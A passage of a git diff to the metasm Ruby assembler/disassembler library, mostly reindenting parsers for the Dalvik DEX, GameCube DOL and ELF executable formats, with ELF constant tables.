u4 :classidx + u4 :accessflags + fld_bits :accessflags, ACCESSIBILITY_CLASS + u4 :superclassidx + u4 :interfaceoff + u4 :sourcefileidx + u4 :annotationsoff + u4 :classdataoff + u4 :staticvaluesoff + + attr_accessor :data + end + + class ClassData < SerialStruct + uleb :staticfsz + uleb :instancefsz + uleb :directmsz + uleb :virtualmsz + + attr_accessor :static_fields, :instance_fields, + :direct_methods, :virtual_methods + + def decode(exe) + super(exe) + + @static_fields = (1..@staticfsz).map { EncodedField.decode(exe) } + @instance_fields = (1..@instancefsz).map { EncodedField.decode(exe) } + @direct_methods = (1..@directmsz).map { EncodedMethod.decode(exe) } + @virtual_methods = (1..@virtualmsz).map { EncodedMethod.decode(exe) } + end + end + + class EncodedField < SerialStruct + uleb :fieldid_diff # this field id - array.previous field id + uleb :access + + attr_accessor :field + end + + class EncodedMethod < SerialStruct + uleb :methodid_diff # this method id - array.previous method id + uleb :access + uleb :codeoff # offset to CodeItem + + attr_accessor :method, :code, :name + end + + class TypeItem < SerialStruct + u2 :typeidx + end + + class TypeList < SerialStruct + u4 :sz + attr_accessor :list + + def decode(exe) + super(exe) + @list = (1..@sz).map { TypeItem.decode(exe) } + exe.decode_u2 if @sz & 1 == 1 # align + end + end + + class CodeItem < SerialStruct + u2 :registerssz + u2 :inssz + u2 :outssz + u2 :triessz + u4 :debugoff + u4 :insnssz + + attr_accessor :insns_off, :try_items, :catch_items + + def decode(exe) + p0 = exe.encoded.ptr + super(exe) + @insns_off = exe.encoded.ptr - p0 + exe.encoded.ptr += 2*@insnssz + return if @triessz <= 0 + exe.decode_u2 if @insnssz & 1 == 1 # align + @try_items = (1..@triessz).map { Try.decode(exe) } + stptr = exe.encoded.ptr + hnr = exe.decode_uleb + @catch_items = (1..hnr).map { CatchHandler.decode(exe, exe.encoded.ptr - stptr) } + end + end + + class Try < SerialStruct + u4 :startaddr + u2 :insncount + u2 :handleroff # byte offset into the @catch_items structure + end + + class CatchHandler < SerialStruct + sleb :size + attr_accessor :byteoff + attr_accessor :type_pairs, :catchalloff + + def decode(exe, boff = nil) + super(exe) + + @byteoff = boff + @type_pairs = (1..@size.abs).map { CatchTypePair.decode(exe) } + @catchalloff = exe.decode_uleb if @size <= 0 + end + end + + class CatchTypePair < SerialStruct + uleb :typeidx + uleb :handleroff + end + + class Link < SerialStruct + # undefined + end + + class AnnotationDirectoryItem < SerialStruct + u4 :classannotationsoff + u4 :fieldssz + u4 :methodssz + u4 :parameterssz + + attr_accessor :field, :method, :parameter + def decode(exe) + super(exe) + @field = (1..@fieldssz).map { FieldAnnotationItem.decode(exe) } + @method = (1..@methodssz).map { MethodAnnotationItem.decode(exe) } + @parameter = (1..@parameterssz).map { ParameterAnnotationItem.decode(exe) } + end + end + + class FieldAnnotationItem < SerialStruct + u4 :fieldidx + u4 :annotationsoff + end + + class MethodAnnotationItem < SerialStruct + u4 :methodidx + u4 :annotationsoff + end + + class ParameterAnnotationItem < SerialStruct + u4 :methodidx + u4 :annotationsoff # off to AnnSetRefList + end + + class AnnotationSetRefList < SerialStruct + u4 :sz + attr_accessor :list + + def decode(exe) + super(exe) + @list = (1..@sz).map { AnnotationSetRefItem.decode(exe) } + end + end + + class AnnotationSetRefItem < SerialStruct + u4 :annotationsoff + end + + class AnnotationSetItem < SerialStruct + u4 :sz + attr_accessor :list + + def decode(exe) + super(exe) + @list = (1..@sz).map { AnnotationItem.decode(exe) } + end + end + + class AnnotationItem < SerialStruct + byte :visibility + fld_enum :visibility, VISIBILITY + attr_accessor :annotation + end + + + attr_accessor :endianness + + def encode_u2(val) Expression[val].encode(:u16, @endianness) end + def encode_u4(val) Expression[val].encode(:u32, @endianness) end + def decode_u2(edata = @encoded) edata.decode_imm(:u16, @endianness) end + def decode_u4(edata = @encoded) edata.decode_imm(:u32, @endianness) end + def decode_uleb(ed = @encoded, signed=false) + v = s = 0 + while s < 5*7 + b = ed.read(1).unpack('C').first.to_i + v |= (b & 0x7f) << s + break if (b&0x80) == 0 + s += 7 + end + v = Expression.make_signed(v, s) if signed + v + end + def decode_sleb(ed = @encoded) decode_uleb(ed, true) end + attr_accessor :header, :strings, :types, :protos, :fields, :methods, :classes + + def initialize(endianness=:little) + @endianness = endianness + @encoded = EncodedData.new + super() + end + + def decode_header + @header = Header.decode(self) + end + + def decode_strings + @encoded.ptr = @header.stringidsoff + so = (1..@header.stringidssz).map { StringId.decode(self) } + @strings = so.map { |s| @encoded.ptr = s.off ; StringData.decode(self).str } + end + + def decode_types + @encoded.ptr = @header.typeidsoff + tl = (1..@header.typeidssz).map { TypeId.decode(self) } + @types = tl.map { |t| @strings[t.descridx] } # TODO demangle or something + end + + def decode_protos + @encoded.ptr = @header.protoidsoff + @protos = (1..@header.protoidssz).map { ProtoId.decode(self) } + end + + def decode_fields + @encoded.ptr = @header.fieldidsoff + @fields = (1..@header.fieldidssz).map { FieldId.decode(self) } + end + + def decode_methods + @encoded.ptr = @header.methodidsoff + @methods = (1..@header.methodidssz).map { MethodId.decode(self) } + end + + def decode_classes + @encoded.ptr = @header.classdefsoff + @classes = (1..@header.classdefssz).map { ClassDef.decode(self) } + @classes.each { |c| + next if c.classdataoff == 0 + @encoded.ptr = c.classdataoff + c.data = ClassData.decode(self) + id = 0 + (c.data.direct_methods + [0] + c.data.virtual_methods).each { |m| + next id=0 if m == 0 + id += m.methodid_diff + m.method = @methods[id] + m.name = @strings[m.method.nameidx] + @encoded.ptr = m.codeoff + m.code = CodeItem.decode(self) + next if @encoded.ptr > @encoded.length + l = new_label(m.name + '@' + @types[c.classidx]) + @encoded.add_export l, m.codeoff + m.code.insns_off + } + } + end + + def decode + decode_header + decode_strings + decode_types + decode_protos + decode_fields + decode_methods + decode_classes + end + + def cpu_from_headers + Dalvik.new(self) + end + + def init_disassembler + dasm = super() + @classes.each { |c| + next if not c.data + (c.data.direct_methods + c.data.virtual_methods).each { |m| + n = @types[c.classidx] + '->' + m.name + dasm.comment[m.codeoff+m.code.insns_off] = [n] + } + } + dasm.function[:default] = @cpu.disassembler_default_func + dasm + end + + def each_section + yield @encoded, 0 # @classes.each { |c| # next if not c.data # (c.data.direct_methods + c.data.virtual_methods).each { |m| @@ -438,20 +438,20 @@ def each_section # yield ed, ed.export.index(0) # } # } - end + end - def get_default_entrypoints - [] - end + def get_default_entrypoints + [] + end end class DEY < DEX - attr_accessor :optheader, :fullencoded - def decode_header - @optheader = OptHeader.decode(self) - @fullencoded = @encoded - @encoded = @fullencoded[@optheader.dexoff, @optheader.dexsz] - super - end + attr_accessor :optheader, :fullencoded + def decode_header + @optheader = OptHeader.decode(self) + @fullencoded = @encoded + @encoded = @fullencoded[@optheader.dexoff, @optheader.dexsz] + super + end end end diff --git a/lib/metasm/metasm/exe_format/dol.rb b/lib/metasm/metasm/exe_format/dol.rb index 870f16bd4b13f..c78df35df25e2 100644 --- a/lib/metasm/metasm/exe_format/dol.rb +++ b/lib/metasm/metasm/exe_format/dol.rb @@ -9,137 +9,137 @@ module Metasm class Dol < ExeFormat - attr_accessor :header, :text, :data + attr_accessor :header, :text, :data - class Header < SerialStruct - 7.times { |i| word "foff_text#{i}".to_sym } - 11.times { |i| word "foff_data#{i}".to_sym } - 7.times { |i| word "addr_text#{i}".to_sym } - 11.times { |i| word "addr_data#{i}".to_sym } - 7.times { |i| word "size_text#{i}".to_sym } - 11.times { |i| word "size_data#{i}".to_sym } - word :addr_bss - word :size_bss - word :entrypoint - mem :pad, 0x100-0xe4 - end + class Header < SerialStruct + 7.times { |i| word "foff_text#{i}".to_sym } + 11.times { |i| word "foff_data#{i}".to_sym } + 7.times { |i| word "addr_text#{i}".to_sym } + 11.times { |i| word "addr_data#{i}".to_sym } + 7.times { |i| word "size_text#{i}".to_sym } + 11.times { |i| word "size_data#{i}".to_sym } + word :addr_bss + word :size_bss + word :entrypoint + mem :pad, 0x100-0xe4 + end - def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end - def encode_word(w) Expression[w].encode(:u32, @endianness) end + def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end + def encode_word(w) Expression[w].encode(:u32, @endianness) end - def initialize(cpu = nil) - @endianness = :big - @header = Header.new - @text = [] - @data = [] - super(cpu) - end + def initialize(cpu = nil) + @endianness = :big + @header = Header.new + @text = [] + @data = [] + super(cpu) + end - def decode_header - @encoded.ptr = 0 - @header.decode(self) - end + def decode_header + @encoded.ptr = 0 + @header.decode(self) + end - def decode - decode_header + def decode + decode_header - 7.times { |i| - off = @header.send("foff_text#{i}") - sz = @header.send("size_text#{i}") - @text << @encoded[off, sz] - } - 11.times { |i| - off = @header.send("foff_data#{i}") - sz = @header.send("size_data#{i}") - @data << @encoded[off, sz] - } - end + 7.times { |i| + off = @header.send("foff_text#{i}") + sz = @header.send("size_text#{i}") + @text << @encoded[off, sz] + } + 11.times { |i| + off = @header.send("foff_data#{i}") + sz = @header.send("size_data#{i}") + @data << @encoded[off, sz] + } + end - def encode(ignored=nil) - binding = {} - addr = 0 # XXX - @encoded = EncodedData.new - @text.each_with_index { |s, i| - next if not s - @header.send("foff_text#{i}=", new_label("foff_text#{i}")) - @header.send("size_text#{i}=", new_label("size_text#{i}")) - @header.send("addr_text#{i}=", new_label("addr_text#{i}")) if not @header.send("addr_text#{i}") - } - @data.each_with_index { |s, i| - next if not s - @header.send("foff_data#{i}=", new_label("foff_data#{i}")) - @header.send("size_data#{i}=", new_label("size_data#{i}")) - @header.send("addr_data#{i}=", new_label("addr_data#{i}")) if not @header.send("addr_data#{i}") - } - @encoded << @header.encode(self) + def encode(ignored=nil) + binding = {} + addr = 0 # XXX + @encoded = EncodedData.new + @text.each_with_index { |s, i| + next if not s + @header.send("foff_text#{i}=", new_label("foff_text#{i}")) + @header.send("size_text#{i}=", new_label("size_text#{i}")) + @header.send("addr_text#{i}=", new_label("addr_text#{i}")) if not @header.send("addr_text#{i}") + } + @data.each_with_index { |s, i| + next if not s + @header.send("foff_data#{i}=", new_label("foff_data#{i}")) + @header.send("size_data#{i}=", new_label("size_data#{i}")) + @header.send("addr_data#{i}=", new_label("addr_data#{i}")) if not @header.send("addr_data#{i}") + } + @encoded << @header.encode(self) - @text.each_with_index { |s, i| - next if not s - binding[@header.send("foff_text#{i}")] = @encoded.length - binding[@header.send("size_text#{i}")] = s.length - binding[@header.send("addr_text#{i}")] = addr if @header.send("addr_text#{i}").kind_of? String - binding.update s.binding(addr) - @encoded << s - addr += s.length - } - @data.each_with_index { |s, i| - next if not s - binding[@header.send("foff_data#{i}")] = @encoded.length - binding[@header.send("size_data#{i}")] = s.length - binding[@header.send("addr_data#{i}")] = addr if @header.send("addr_data#{i}").kind_of? String - binding.update s.binding(addr) - @encoded << s - addr += s.length - } - @encoded.fixup! binding - @encoded.data - end + @text.each_with_index { |s, i| + next if not s + binding[@header.send("foff_text#{i}")] = @encoded.length + binding[@header.send("size_text#{i}")] = s.length + binding[@header.send("addr_text#{i}")] = addr if @header.send("addr_text#{i}").kind_of? String + binding.update s.binding(addr) + @encoded << s + addr += s.length + } + @data.each_with_index { |s, i| + next if not s + binding[@header.send("foff_data#{i}")] = @encoded.length + binding[@header.send("size_data#{i}")] = s.length + binding[@header.send("addr_data#{i}")] = addr if @header.send("addr_data#{i}").kind_of? String + binding.update s.binding(addr) + @encoded << s + addr += s.length + } + @encoded.fixup! binding + @encoded.data + end - def parse_init - @textsrc ||= [] - @datasrc ||= [] - @cursource ||= @textsrc - super() - end + def parse_init + @textsrc ||= [] + @datasrc ||= [] + @cursource ||= @textsrc + super() + end - def parse_parser_instruction(instr) - case instr.raw.downcase - when '.text'; @cursource = @textsrc - when '.data'; @cursource = @datasrc - when '.entrypoint' - # ".entrypoint " or ".entrypoint" (here) - @lexer.skip_space - if tok = @lexer.nexttok and tok.type == :string - raise instr if not entrypoint = Expression.parse(@lexer) - else - entrypoint = new_label('entrypoint') - @cursource << Label.new(entrypoint, instr.backtrace.dup) - end - @header.entrypoint = entrypoint - else super(instr) - end - end + def parse_parser_instruction(instr) + case instr.raw.downcase + when '.text'; @cursource = @textsrc + when '.data'; @cursource = @datasrc + when '.entrypoint' + # ".entrypoint " or ".entrypoint" (here) + @lexer.skip_space + if tok = @lexer.nexttok and tok.type == :string + raise instr if not entrypoint = Expression.parse(@lexer) + else + entrypoint = new_label('entrypoint') + @cursource << Label.new(entrypoint, instr.backtrace.dup) + end + @header.entrypoint = entrypoint + else super(instr) + end + end - def assemble(*a) - parse(*a) if not a.empty? - @text[0] ||= EncodedData.new - @text[0] << assemble_sequence(@textsrc, @cpu) - @textsrc.clear - @data[0] ||= EncodedData.new - @data[0] << assemble_sequence(@datasrc, @cpu) - @datasrc.clear - self - end + def assemble(*a) + parse(*a) if not a.empty? + @text[0] ||= EncodedData.new + @text[0] << assemble_sequence(@textsrc, @cpu) + @textsrc.clear + @data[0] ||= EncodedData.new + @data[0] << assemble_sequence(@datasrc, @cpu) + @datasrc.clear + self + end - def each_section - 7.times { |i| - next if not @text[i] - yield @text[i], instance_variable_get("addr_text#{i}") - } - 11.times { |i| - next if not @data[i] - yield @data[i], instance_variable_get("addr_data#{i}") - } - end + def each_section + 7.times { |i| + next if not @text[i] + yield @text[i], instance_variable_get("addr_text#{i}") + } + 11.times { |i| + next if not @data[i] + yield @data[i], instance_variable_get("addr_data#{i}") + } + end end end diff --git a/lib/metasm/metasm/exe_format/elf.rb b/lib/metasm/metasm/exe_format/elf.rb index a48e15a955a7f..ef518b8c283cc 100644 --- a/lib/metasm/metasm/exe_format/elf.rb +++ b/lib/metasm/metasm/exe_format/elf.rb @@ -8,743 +8,743 @@ module Metasm class ELF < ExeFormat - MAGIC = "\x7fELF" # 0x7f454c46 - CLASS = { 0 => 'NONE', 1 => '32', 2 => '64', 200 => '64_icc' } - DATA = { 0 => 'NONE', 1 => 'LSB', 2 => 'MSB' } - VERSION = { 0 => 'INVALID', 1 => 'CURRENT' } - ABI = { 0 => 'SYSV', 1 => 'HPUX', 2 => 'NETBSD', 3 => 'LINUX', - 6 => 'SOLARIS', 7 => 'AIX', 8 => 'IRIX', 9 => 'FREEBSD', - 10 => 'TRU64', 11 => 'MODESTO', 12 => 'OPENBSD', 97 => 'ARM', - 255 => 'STANDALONE'} - TYPE = { 0 => 'NONE', 1 => 'REL', 2 => 'EXEC', 3 => 'DYN', 4 => 'CORE' } - TYPE_LOPROC = 0xff00 - TYPE_HIPROC = 0xffff - - MACHINE = { - 0 => 'NONE', 1 => 'M32', 2 => 'SPARC', 3 => '386', - 4 => '68K', 5 => '88K', 6 => '486', 7 => '860', - 8 => 'MIPS', 9 => 'S370', 10 => 'MIPS_RS3_LE', - 15 => 'PARISC', - 17 => 'VPP500',18 => 'SPARC32PLUS', 19 => '960', - 20 => 'PPC', 21 => 'PPC64', 22 => 'S390', - 36 => 'V800', 37 => 'FR20', 38 => 'RH32', 39 => 'MCORE', - 40 => 'ARM', 41 => 'ALPHA_STD', 42 => 'SH', 43 => 'SPARCV9', - 44 => 'TRICORE', 45 => 'ARC', 46 => 'H8_300', 47 => 'H8_300H', - 48 => 'H8S', 49 => 'H8_500', 50 => 'IA_64', 51 => 'MIPS_X', - 52 => 'COLDFIRE', 53 => '68HC12', 54 => 'MMA', 55 => 'PCP', - 56 => 'NCPU', 57 => 'NDR1', 58 => 'STARCORE', 59 => 'ME16', - 60 => 'ST100', 61 => 'TINYJ', 62 => 'X86_64', 63 => 'PDSP', - 66 => 'FX66', 67 => 'ST9PLUS', - 68 => 'ST7', 69 => '68HC16', 70 => '68HC11', 71 => '68HC08', - 72 => '68HC05',73 => 'SVX', 74 => 'ST19', 75 => 'VAX', - 76 => 'CRIS', 77 => 'JAVELIN',78 => 'FIREPATH', 79 => 'ZSP', - 80 => 'MMIX', 81 => 'HUANY', 82 => 'PRISM', 83 => 'AVR', - 84 => 'FR30', 85 => 'D10V', 86 => 'D30V', 87 => 'V850', - 88 => 'M32R', 89 => 'MN10300',90 => 'MN10200',91 => 'PJ', - 92 => 'OPENRISC', 93 => 'ARC_A5', 94 => 'XTENSA', - 99 => 'PJ', - 0x9026 => 'ALPHA' - } - - FLAGS = { - 'SPARC' => {0x100 => '32PLUS', 0x200 => 'SUN_US1', - 0x400 => 'HAL_R1', 0x800 => 'SUN_US3', - 0x8000_0000 => 'LEDATA'}, - 'SPARCV9' => {0 => 'TSO', 1 => 'PSO', 2 => 'RMO'}, # XXX not a flag - 'MIPS' => {1 => 'NOREORDER', 2 => 'PIC', 4 => 'CPIC', - 8 => 'XGOT', 16 => '64BIT_WHIRL', 32 => 'ABI2', - 64 => 'ABI_ON32'} - } - - DYNAMIC_TAG = { 0 => 'NULL', 1 => 'NEEDED', 2 => 'PLTRELSZ', 3 => - 'PLTGOT', 4 => 'HASH', 5 => 'STRTAB', 6 => 'SYMTAB', 7 => 'RELA', - 8 => 'RELASZ', 9 => 'RELAENT', 10 => 'STRSZ', 11 => 'SYMENT', - 12 => 'INIT', 13 => 'FINI', 14 => 'SONAME', 15 => 'RPATH', - 16 => 'SYMBOLIC', 17 => 'REL', 18 => 'RELSZ', 19 => 'RELENT', - 20 => 'PLTREL', 21 => 'DEBUG', 22 => 'TEXTREL', 23 => 'JMPREL', - 24 => 'BIND_NOW', - 25 => 'INIT_ARRAY', 26 => 'FINI_ARRAY', - 27 => 'INIT_ARRAYSZ', 28 => 'FINI_ARRAYSZ', - 29 => 'RUNPATH', 30 => 'FLAGS', 31 => 'ENCODING', - 32 => 'PREINIT_ARRAY', 33 => 'PREINIT_ARRAYSZ', - 0x6fff_fdf5 => 'GNU_PRELINKED', - 0x6fff_fdf6 => 'GNU_CONFLICTSZ', 0x6fff_fdf7 => 'LIBLISTSZ', - 0x6fff_fdf8 => 'CHECKSUM', 0x6fff_fdf9 => 'PLTPADSZ', - 0x6fff_fdfa => 'MOVEENT', 0x6fff_fdfb => 'MOVESZ', - 0x6fff_fdfc => 'FEATURE_1', 0x6fff_fdfd => 'POSFLAG_1', - 0x6fff_fdfe => 'SYMINSZ', 0x6fff_fdff => 'SYMINENT', - 0x6fff_fef5 => 'GNU_HASH', - 0x6fff_fef6 => 'TLSDESC_PLT', 0x6fff_fef7 => 'TLSDESC_GOT', - 0x6fff_fef8 => 'GNU_CONFLICT', 0x6fff_fef9 => 'GNU_LIBLIST', - 0x6fff_fefa => 'CONFIG', 0x6fff_fefb => 'DEPAUDIT', - 0x6fff_fefc => 'AUDIT', 0x6fff_fefd => 'PLTPAD', - 0x6fff_fefe => 'MOVETAB', 0x6fff_feff => 'SYMINFO', - 0x6fff_fff0 => 'VERSYM', 0x6fff_fff9 => 'RELACOUNT', - 0x6fff_fffa => 'RELCOUNT', 0x6fff_fffb => 'FLAGS_1', - 0x6fff_fffc => 'VERDEF', 0x6fff_fffd => 'VERDEFNUM', - 0x6fff_fffe => 'VERNEED', 0x6fff_ffff => 'VERNEEDNUM' - } - DYNAMIC_TAG_LOPROC = 0x7000_0000 - DYNAMIC_TAG_HIPROC = 0x7fff_ffff - - # for tags between DT_LOPROC and DT_HIPROC, use DT_PROC[header.machine][tag-DT_LOPROC] - DYNAMIC_TAG_PROC = { - 'MIPS' => { - 1 => 'RLD_VERSION', 2 => 'TIME_STAMP', 3 => 'ICHECKSUM', - 4 => 'IVERSION', 5 => 'M_FLAGS', 6 => 'BASE_ADDRESS', 7 => 'MSYM', - 8 => 'CONFLICT', 9 => 'LIBLIST', 0x0a => 'LOCAL_GOTNO', - 0x0b => 'CONFLICTNO', 0x10 => 'LIBLISTNO', 0x11 => 'SYMTABNO', - 0x12 => 'UNREFEXTNO', 0x13 => 'GOTSYM', 0x14 => 'HIPAGENO', - 0x16 => 'RLD_MAP', 0x17 => 'DELTA_CLASS', 0x18 => 'DELTA_CLASS_NO', - 0x19 => 'DELTA_INSTANCE', 0x1a => 'DELTA_INSTANCE_NO', - 0x1b => 'DELTA_RELOC', 0x1c => 'DELTA_RELOC_NO', 0x1d => 'DELTA_SYM', - 0x1e => 'DELTA_SYM_NO', 0x20 => 'DELTA_CLASSSYM', 0x21 => 'DELTA_CLASSSYM_NO', - 0x22 => 'CXX_FLAGS', 0x23 => 'PIXIE_INIT', 0x24 => 'SYMBOL_LIB', - 0x25 => 'LOCALPAGE_GOTIDX', 0x26 => 'LOCAL_GOTIDX', - 0x27 => 'HIDDEN_GOTIDX', 0x28 => 'PROTECTED_GOTIDX', - 0x29 => 'OPTIONS', 0x2a => 'INTERFACE', 0x2b => 'DYNSTR_ALIGN', - 0x2c => 'INTERFACE_SIZE', 0x2d => 'RLD_TEXT_RESOLVE_ADDR', - 0x2e => 'PERF_SUFFIX', 0x2f => 'COMPACT_SIZE', - 0x30 => 'GP_VALUE', 0x31 => 'AUX_DYNAMIC', - } - } - - - DYNAMIC_FLAGS = { 1 => 'ORIGIN', 2 => 'SYMBOLIC', 4 => 'TEXTREL', - 8 => 'BIND_NOW', 0x10 => 'STATIC_TLS' } - DYNAMIC_FLAGS_1 = { 1 => 'NOW', 2 => 'GLOBAL', 4 => 'GROUP', - 8 => 'NODELETE', 0x10 => 'LOADFLTR', 0x20 => 'INITFIRST', - 0x40 => 'NOOPEN', 0x80 => 'ORIGIN', 0x100 => 'DIRECT', - 0x200 => 'TRANS', 0x400 => 'INTERPOSE', 0x800 => 'NODEFLIB', - 0x1000 => 'NODUMP', 0x2000 => 'CONFALT', 0x4000 => 'ENDFILTEE', - 0x8000 => 'DISPRELDNE', 0x10000 => 'DISPRELPND' } - DYNAMIC_FEATURE_1 = { 1 => 'PARINIT', 2 => 'CONFEXP' } - DYNAMIC_POSFLAG_1 = { 1 => 'LAZYLOAD', 2 => 'GROUPPERM' } - - PH_TYPE = { 0 => 'NULL', 1 => 'LOAD', 2 => 'DYNAMIC', 3 => 'INTERP', - 4 => 'NOTE', 5 => 'SHLIB', 6 => 'PHDR', 7 => 'TLS', - 0x6474e550 => 'GNU_EH_FRAME', 0x6474e551 => 'GNU_STACK', - 0x6474e552 => 'GNU_RELRO' } - PH_TYPE_LOPROC = 0x7000_0000 - PH_TYPE_HIPROC = 0x7fff_ffff - PH_FLAGS = { 1 => 'X', 2 => 'W', 4 => 'R' } - - SH_TYPE = { 0 => 'NULL', 1 => 'PROGBITS', 2 => 'SYMTAB', 3 => 'STRTAB', - 4 => 'RELA', 5 => 'HASH', 6 => 'DYNAMIC', 7 => 'NOTE', - 8 => 'NOBITS', 9 => 'REL', 10 => 'SHLIB', 11 => 'DYNSYM', - 14 => 'INIT_ARRAY', 15 => 'FINI_ARRAY', 16 => 'PREINIT_ARRAY', - 17 => 'GROUP', 18 => 'SYMTAB_SHNDX', - 0x6fff_fff6 => 'GNU_HASH', 0x6fff_fff7 => 'GNU_LIBLIST', - 0x6fff_fff8 => 'GNU_CHECKSUM', - 0x6fff_fffd => 'GNU_verdef', 0x6fff_fffe => 'GNU_verneed', - 0x6fff_ffff => 'GNU_versym' } - SH_TYPE_LOOS = 0x6000_0000 - SH_TYPE_HIOS = 0x6fff_ffff - SH_TYPE_LOPROC = 0x7000_0000 - SH_TYPE_HIPROC = 0x7fff_ffff - SH_TYPE_LOUSER = 0x8000_0000 - SH_TYPE_HIUSER = 0xffff_ffff - - SH_FLAGS = { 1 => 'WRITE', 2 => 'ALLOC', 4 => 'EXECINSTR', - 0x10 => 'MERGE', 0x20 => 'STRINGS', 0x40 => 'INFO_LINK', - 0x80 => 'LINK_ORDER', 0x100 => 'OS_NONCONFORMING', - 0x200 => 'GROUP', 0x400 => 'TLS' } - SH_FLAGS_MASKPROC = 0xf000_0000 - - SH_INDEX = { 0 => 'UNDEF', - 0xfff1 => 'ABS', 0xfff2 => 'COMMON', - 0xffff => 'XINDEX', } - SH_INDEX_LORESERVE = 0xff00 - SH_INDEX_LOPROC = 0xff00 - SH_INDEX_HIPROC = 0xff1f - SH_INDEX_LOOS = 0xff20 - SH_INDEX_HIOS = 0xff3f - SH_INDEX_HIRESERVE = 0xffff - - SYMBOL_BIND = { 0 => 'LOCAL', 1 => 'GLOBAL', 2 => 'WEAK' } - SYMBOL_BIND_LOPROC = 13 - SYMBOL_BIND_HIPROC = 15 - - SYMBOL_TYPE = { 0 => 'NOTYPE', 1 => 'OBJECT', 2 => 'FUNC', - 3 => 'SECTION', 4 => 'FILE', 5 => 'COMMON', 6 => 'TLS' } - SYMBOL_TYPE_LOPROC = 13 - SYMBOL_TYPE_HIPROC = 15 - - SYMBOL_VISIBILITY = { 0 => 'DEFAULT', 1 => 'INTERNAL', 2 => 'HIDDEN', 3 => 'PROTECTED' } - - RELOCATION_TYPE = { # key are in MACHINE.values - '386' => { 0 => 'NONE', 1 => '32', 2 => 'PC32', 3 => 'GOT32', - 4 => 'PLT32', 5 => 'COPY', 6 => 'GLOB_DAT', - 7 => 'JMP_SLOT', 8 => 'RELATIVE', 9 => 'GOTOFF', - 10 => 'GOTPC', 11 => '32PLT', 12 => 'TLS_GD_PLT', - 13 => 'TLS_LDM_PLT', 14 => 'TLS_TPOFF', 15 => 'TLS_IE', - 16 => 'TLS_GOTIE', 17 => 'TLS_LE', 18 => 'TLS_GD', - 19 => 'TLS_LDM', 20 => '16', 21 => 'PC16', 22 => '8', - 23 => 'PC8', 24 => 'TLS_GD_32', 25 => 'TLS_GD_PUSH', - 26 => 'TLS_GD_CALL', 27 => 'TLS_GD_POP', - 28 => 'TLS_LDM_32', 29 => 'TLS_LDM_PUSH', - 30 => 'TLS_LDM_CALL', 31 => 'TLS_LDM_POP', - 32 => 'TLS_LDO_32', 33 => 'TLS_IE_32', - 34 => 'TLS_LE_32', 35 => 'TLS_DTPMOD32', - 36 => 'TLS_DTPOFF32', 37 => 'TLS_TPOFF32' }, - 'ARM' => { 0 => 'NONE', 1 => 'PC24', 2 => 'ABS32', 3 => 'REL32', - 4 => 'PC13', 5 => 'ABS16', 6 => 'ABS12', - 7 => 'THM_ABS5', 8 => 'ABS8', 9 => 'SBREL32', - 10 => 'THM_PC22', 11 => 'THM_PC8', 12 => 'AMP_VCALL9', - 13 => 'SWI24', 14 => 'THM_SWI8', 15 => 'XPC25', - 16 => 'THM_XPC22', 20 => 'COPY', 21 => 'GLOB_DAT', - 22 => 'JUMP_SLOT', 23 => 'RELATIVE', 24 => 'GOTOFF', - 25 => 'GOTPC', 26 => 'GOT32', 27 => 'PLT32', - 100 => 'GNU_VTENTRY', 101 => 'GNU_VTINHERIT', - 250 => 'RSBREL32', 251 => 'THM_RPC22', 252 => 'RREL32', - 253 => 'RABS32', 254 => 'RPC24', 255 => 'RBASE' }, - 'IA_64' => { 0 => 'NONE', - 0x21 => 'IMM14', 0x22 => 'IMM22', 0x23 => 'IMM64', - 0x24 => 'DIR32MSB', 0x25 => 'DIR32LSB', - 0x26 => 'DIR64MSB', 0x27 => 'DIR64LSB', - 0x2a => 'GPREL22', 0x2b => 'GPREL64I', - 0x2c => 'GPREL32MSB', 0x2d => 'GPREL32LSB', - 0x2e => 'GPREL64MSB', 0x2f => 'GPREL64LSB', - 0x32 => 'LTOFF22', 0x33 => 'LTOFF64I', - 0x3a => 'PLTOFF22', 0x3b => 'PLTOFF64I', - 0x3e => 'PLTOFF64MSB', 0x3f => 'PLTOFF64LSB', - 0x43 => 'FPTR64I', 0x44 => 'FPTR32MSB', - 0x45 => 'FPTR32LSB', 0x46 => 'FPTR64MSB', - 0x47 => 'FPTR64LSB', - 0x48 => 'PCREL60B', 0x49 => 'PCREL21B', - 0x4a => 'PCREL21M', 0x4b => 'PCREL21F', - 0x4c => 'PCREL32MSB', 0x4d => 'PCREL32LSB', - 0x4e => 'PCREL64MSB', 0x4f => 'PCREL64LSB', - 0x52 => 'LTOFF_FPTR22', 0x53 => 'LTOFF_FPTR64I', - 0x54 => 'LTOFF_FPTR32MSB', 0x55 => 'LTOFF_FPTR32LSB', - 0x56 => 'LTOFF_FPTR64MSB', 0x57 => 'LTOFF_FPTR64LSB', - 0x5c => 'SEGREL32MSB', 0x5d => 'SEGREL32LSB', - 0x5e => 'SEGREL64MSB', 0x5f => 'SEGREL64LSB', - 0x64 => 'SECREL32MSB', 0x65 => 'SECREL32LSB', - 0x66 => 'SECREL64MSB', 0x67 => 'SECREL64LSB', - 0x6c => 'REL32MSB', 0x6d => 'REL32LSB', - 0x6e => 'REL64MSB', 0x6f => 'REL64LSB', - 0x74 => 'LTV32MSB', 0x75 => 'LTV32LSB', - 0x76 => 'LTV64MSB', 0x77 => 'LTV64LSB', - 0x79 => 'PCREL21BI', 0x7a => 'PCREL22', - 0x7b => 'PCREL64I', 0x80 => 'IPLTMSB', - 0x81 => 'IPLTLSB', 0x85 => 'SUB', - 0x86 => 'LTOFF22X', 0x87 => 'LDXMOV', - 0x91 => 'TPREL14', 0x92 => 'TPREL22', - 0x93 => 'TPREL64I', 0x96 => 'TPREL64MSB', - 0x97 => 'TPREL64LSB', 0x9a => 'LTOFF_TPREL22', - 0xa6 => 'DTPMOD64MSB', 0xa7 => 'DTPMOD64LSB', - 0xaa => 'LTOFF_DTPMOD22', 0xb1 => 'DTPREL14', - 0xb2 => 'DTPREL22', 0xb3 => 'DTPREL64I', - 0xb4 => 'DTPREL32MSB', 0xb5 => 'DTPREL32LSB', - 0xb6 => 'DTPREL64MSB', 0xb7 => 'DTPREL64LSB', - 0xba => 'LTOFF_DTPREL22' }, - 'M32' => { 0 => 'NONE', 1 => '32', 2 => '32_S', 3 => 'PC32_S', - 4 => 'GOT32_S', 5 => 'PLT32_S', 6 => 'COPY', - 7 => 'GLOB_DAT', 8 => 'JMP_SLOT', 9 => 'RELATIVE', - 10 => 'RELATIVE_S' }, - 'MIPS' => { - 0 => 'NONE', 1 => '16', 2 => '32', 3 => 'REL32', - 4 => '26', 5 => 'HI16', 6 => 